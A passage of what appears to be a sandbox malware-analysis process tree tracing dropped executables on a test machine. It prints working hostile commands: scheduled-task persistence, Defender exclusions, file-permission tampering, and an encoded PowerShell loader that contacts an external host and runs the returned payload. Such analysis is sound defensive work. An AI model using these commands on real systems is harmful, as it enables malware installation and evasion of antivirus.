-
C:\Windows\system32\chcp.comchcp 6500122⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost22⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"22⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f23⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\MYMkL8KCPpg9.bat" "23⤵
-
C:\Windows\system32\chcp.comchcp 6500124⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost24⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"24⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f25⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\VE9D5sNAKOs7.bat" "25⤵
-
C:\Windows\system32\chcp.comchcp 6500126⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost26⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"26⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f27⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\q70QBhtGpjR4.bat" "27⤵
-
C:\Windows\system32\chcp.comchcp 6500128⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost28⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"28⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f29⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Ks2lHJjmRxIJ.bat" "29⤵
-
C:\Windows\system32\chcp.comchcp 6500130⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost30⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"30⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f31⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6w4E2rboeNuJ.bat" "31⤵
-
C:\Windows\system32\chcp.comchcp 6500132⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost32⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"32⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f33⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lcYNAPM3pY5H.bat" "33⤵
-
C:\Windows\system32\chcp.comchcp 6500134⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost34⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"34⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f35⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\epNjNRNsqwq8.bat" "35⤵
-
C:\Windows\system32\chcp.comchcp 6500136⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost36⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\bypass.exe"C:\Users\Admin\AppData\Local\Temp\Files\bypass.exe"3⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\Files\hey.exe"C:\Users\Admin\AppData\Local\Temp\Files\hey.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\game.exe"C:\Users\Admin\AppData\Local\Temp\Files\game.exe"3⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\M64.exe"C:\Users\Admin\AppData\Local\Temp\Files\M64.exe"3⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\proxy-peer-windows-amd64.exe"C:\Users\Admin\AppData\Local\Temp\Files\proxy-peer-windows-amd64.exe"3⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Windows\system32\sc.exesc query hola_update_svc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\Hola\app' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Program Files\Hola\app\updater64.exe"C:\Program Files\Hola\app\updater64.exe"4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\order_pdf.exe"C:\Users\Admin\AppData\Local\Temp\Files\order_pdf.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
-
C:\Users\Admin\AppData\Local\Temp\Files\gallery-dl.exe"C:\Users\Admin\AppData\Local\Temp\Files\gallery-dl.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\gallery-dl.exe"C:\Users\Admin\AppData\Local\Temp\Files\gallery-dl.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\billi_e58d74e455634dc695ed8a7b8b320325.exe"C:\Users\Admin\AppData\Local\Temp\Files\billi_e58d74e455634dc695ed8a7b8b320325.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe"C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe"3⤵
- Executes dropped EXE
- Modifies system certificate store
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('Checking for updates...', 'Updater', 'OK', 'Information')"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Roaming\ff53b81d524ee7420.exeC:\Users\Admin\AppData\Roaming\ff53b81d524ee7420.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\9d3bc4f6\5c1c\279aec1c.exe"C:\Users\Admin\AppData\Local\Temp\9d3bc4f6\5c1c\279aec1c.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAGIAaQBsAGwALQBwAHIAbwBvAGYALgBjAGMAOgA0ADQAMwAnACwAJABiAG8AZAB5ACkAOwAkAHIAaQB2AD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADAALgAuADEANQBdADsAJABlAG4AYwA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAxADYALgAuACgAJABkAGEAdABhAC4ATABlAG4AZwB0AGgALQAxACkAXQA7ACQAYQBlAHMALgBJAFYAPQAkAHIAaQB2ADsAJABkAGUAYwA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABlAG4AYwAsADAALAAkAGUAbgBjAC4ATABlAG4AZwB0AGgAKQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkALAAkAGQAZQBjACkAOwBDAG8AcAB5AC0ASQB0AGUAbQAgACgAJABwADEAIAArACAAKAAnAFwAcwAnACsAJwB2AGMAaABvACcAKwAnAHMAJwArACcAdAAuAGUAJwArACcAeAAnACsAJwBlACcAKQApACAAIgAkAHAAMgB0AFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AOwA=7⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker8⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy8⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:648⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:648⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:648⤵
-
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force /target:computer8⤵
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f8⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f8⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"8⤵
-
-
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu6⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito6⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu6⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu6⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito6⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito6⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu6⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu6⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito6⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu6⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c "ping -n 3 127.0.0.1 >nul & del \"C:\Users\Admin\AppData\Roaming\ff53b81d524ee7420.exe\""5⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping -n 3 127.0.0.16⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\A.I_1003H.exe"C:\Users\Admin\AppData\Local\Temp\Files\A.I_1003H.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\A.I.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\A.I.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\A.I_Run.cmd" "5⤵
-
C:\Windows\SysWOW64\sc.exesc stop PcaSvc6⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\Sysnative\sfc.exe6⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\Sysnative\sfc.exe /t /deny everyone:f6⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\%E6%83%85%E6%84%BF%E6%80%80%E6%97%A7.exe"C:\Users\Admin\AppData\Local\Temp\Files\%E6%83%85%E6%84%BF%E6%80%80%E6%97%A7.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\._cache_%E6%83%85%E6%84%BF%E6%80%80%E6%97%A7.exe"C:\Users\Admin\AppData\Local\Temp\Files\._cache_%E6%83%85%E6%84%BF%E6%80%80%E6%97%A7.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\._cache_%E6%83%85%E6%84%BF%E6%80%80%E6%97%A7.exe"C:\Users\Admin\AppData\Local\Temp\Files\._cache_%E6%83%85%E6%84%BF%E6%80%80%E6%97%A7.exe" Admin5⤵
-
-
-
C:\ProgramData\Synaptics\Synaptics.exe"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate4⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\Files\._cache_Synaptics.exe" InjUpdate5⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\Files\._cache_Synaptics.exe" Admin6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\DiscordNitroGenerator.exe"C:\Users\Admin\AppData\Local\Temp\Files\DiscordNitroGenerator.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\DiscordNitroGenerator.exe"C:\Users\Admin\AppData\Local\Temp\Files\DiscordNitroGenerator.exe"4⤵
-
